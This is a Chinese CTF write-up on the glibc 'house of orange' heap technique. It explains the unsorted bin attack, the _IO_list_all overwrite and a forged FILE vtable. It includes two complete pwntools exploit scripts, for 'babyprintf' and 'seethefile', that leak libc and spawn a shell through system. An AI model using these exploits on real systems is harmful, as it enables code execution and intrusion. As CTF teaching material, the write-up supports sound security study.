house of orange
unsorted bin attack方法和house of orange
可覆盖的 _IO_LIST_ALL
io的虚表
max_fast
malloc_hook
泄露libc基址
首先说明如何泄露libc的基址,当申请的内存大于某个阈值时,系统会调用mmap直接为应用程序分配页面,此时分配出来的的页面会紧贴着libc页面,所以我们可以通过分配一个大内存,最后得到地址加上大小最终就得到了libc的基址。题目又给了so,所以可以得到system以及_IO_list_all以及main_arena等结构的真实地址。
malloc大内存(0x2000000)前:
malloc大内存后:
可以看到0x00007f4b19898000+0x0x2001000就到了libc的基址,多0x1000是因为对齐。
获取unsorted bin chunk
当申请的堆块大于当前的top chunk size且小于用mmap分配的阈值时,系统会将原来的top chunk 放到unsorted bin中,同时分配新的较大的top chunk出来。
如果大于mmap分配的阈值,则直接从系统分配,源码如下:
所以为得到unsorted chunk ,申请分配的内存需要大于top chunk的size且小于mmap的阈值。
还需要通过的一个检查:
这个检查总结起来为:
\1. size需要大于0x20(MINSIZE)
\2. prev_inuse位要为1
\3. top chunk address + top chunk size 必须是页对齐的(页大小一般为0x1000)
所以在这一步中我们需要做的就是覆盖原来的top chunk size,然后再申请一个比较大的堆块,这样就可获得一个unsorted chunk。
覆盖IO_list_all并伪造 IO_FILE结构体
gdb查看file结构方法
p ((struct _IO_FILE_plus) 0x23ac1b0)
1
| arena的结构 struct malloc_state {
|
有了多的unsorted chunk后,覆盖某个堆块的bk字段,使它指向IO_list_all-0x10字段,这样IO_list_all会被修改成指向main_arena的unsorted bin数组,原理图如下:
同时当 glibc 检测到 memory corruption 时,它会flush 所有的 IO 流,调用_IO_flush_all_lockp 函数:
所以我们在覆盖了IO_list_all后,使其指向了main_arena的unsorted bin数组,这时的数组位置并不是我们可控的位置,从源代码中我们知道__IO_list_all最开始为main_arena的unsorted bin数组(代码A),不可控,如果我们构造适当的chunk使其在free后存放到了main_arena的unsorted bin数组偏移的0x68(smallbin里面)处,这样就可以实现fp指向我们可控的数据(代码B),然后绕过限制条件(代码C),执行_IO_OVERFLOW
备忘:(原作是system但是有检查,所以这里记下了了babyprintf的做法网上的babyprintf有些地方无法正常运行,所以这个脚本有改动)
备忘:(原作是system但是有检查,所以这里记下了了babyprintf的做法网上的babyprintf有些地方无法正常运行,所以这个脚本有改动)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129
| from pwn import * def do(llen,data): p.recvuntil('size:') p.sendline(str(llen)) p.recvuntil(': ') p.sendline(data) def pwn(): offset_start_main=0x00202E1 p.recvuntil('size:') llen=0x90-8 p.sendline(str(llen)) p.recvuntil(': ') leak_libc='%1$p %2$p %3$p %4$p %5$p aaa %6$p ' sstr='%p'*90 p.sendline(leak_libc) p.recvuntil('aaa ') data=p.recvuntil(' ')[:-1] real_start_main=int(data,16) libc_base=real_start_main-offset_start_main real_io_list=libc_base+libc.symbols['_IO_list_all'] real_system=libc_base+libc.symbols['system'] real_binsh=libc_base+sh print hex(real_system) do(0x90-8,'a'*0x80+p64(0)+p64(0xee1)) do(0x1000-8,"aaa") fake_chunk=p64(0)+p64(0x61) fake_chunk+=p64(0xddaa)+p64(real_io_list-0x10) fake_chunk+=p64(0x2)+p64(0xffffffffffffff)+p64(0)*2+p64( ((real_binsh-0x64)/2)+3 ) fake_chunk=fake_chunk.ljust(0xa0,'\x00') fake_chunk+=p64(real_system+0x420) fake_chunk=fake_chunk.ljust(0xc0,'\x00') fake_chunk+=p64(0)
vtable_addr=libc_base+0x394500 payload =fake_chunk payload += p64(0) payload += p64(0) payload += p64(vtable_addr) payload += p64(real_system) payload += p64(2) payload += p64(3) payload += p64(0)*3 payload += p64(real_system) do(0x90-8,'c'*0x80+payload ) p.recvuntil('size:') llen=0x200-8 p.sendline(str(llen)) debug=1 if debug: p=process("./babyprintf") libc=ELF("/lib/x86_64-linux-gnu/libc-2.24.so") sh=0x1619B9 else: p=remote("chall.pwnable.tw",10104) libc=ELF("./libc_32.so.6") sh=0x00158E8B pwn() p.interactive()
32位
from pwn import *
p=process("./seethefile") libc=ELF('/lib/i386-linux-gnu/libc-2.23.so') def open(filename): p.sendlineafter("choice :", '1') p.sendlineafter("see", filename) def read(): p.sendlineafter("choice :", '2') def close(): p.sendlineafter("choice :", '4') def exit(name): p.sendlineafter("choice :", '5') p.sendlineafter("name :", name) open("/proc/self/maps")
read() p.sendlineafter("choice :", '3') print p.recvuntil('[heap]\n') recv=p.recv(10) libc.address = int(recv[0:8], base = 16) print hex(libc.address) print hex(libc.symbols['system']) payload = '' payload += ('\x00' * 0x20) payload += p32(0x0804B284) payload += "/bin/sh\x00" payload += p32(0) * 11 payload += p32(0) payload += p32(0x0) payload += p32(0) * 3 payload += p32(0x0804B260) payload += p32(0) * 2 payload += p32(0x0) payload += p32(0) payload += p32(0) * 14 payload += p32(0x804B31C) payload += p32(0x0) payload += p32(0x0) payload += p32(libc.address + (0xb75edd10 - 0xb7585000)) payload += p32(libc.address + (0xb75ee6f0 - 0xb7585000)) payload += p32(libc.address + (0xb75ee490 - 0xb7585000)) payload += p32(libc.address + (0xb75ef560 - 0xb7585000)) payload += p32(libc.address + (0xb75f03f0 - 0xb7585000)) payload += p32(libc.address + (0xb75ed980 - 0xb7585000)) payload += p32(libc.address + (0xb75ed5a0 - 0xb7585000)) payload += p32(libc.address + (0xb75ec840 - 0xb7585000)) payload += p32(libc.address + (0xb75ef800 - 0xb7585000)) payload += p32(libc.address + (0xb75ec680 - 0xb7585000)) payload += p32(libc.address + (0xb75ec570 - 0xb7585000)) payload += p32(libc.address + (0xb75e1d80 - 0xb7585000)) payload += p32(libc.address + (0xb75ed930 - 0xb7585000)) payload += p32(libc.address + (0xb75ed3f0 - 0xb7585000)) payload += p32(libc.address + (0xb75ed130 - 0xb7585000)) payload += p32(libc.symbols['system']) payload += p32(libc.address + (0xb75ed3d0 - 0xb7585000)) payload += p32(libc.address + (0xb75f0580 - 0xb7585000)) payload += p32(libc.address + (0xb75f0590 - 0xb7585000))
p.sendlineafter("choice :", '5') p.sendline(payload)
p.interactive()
|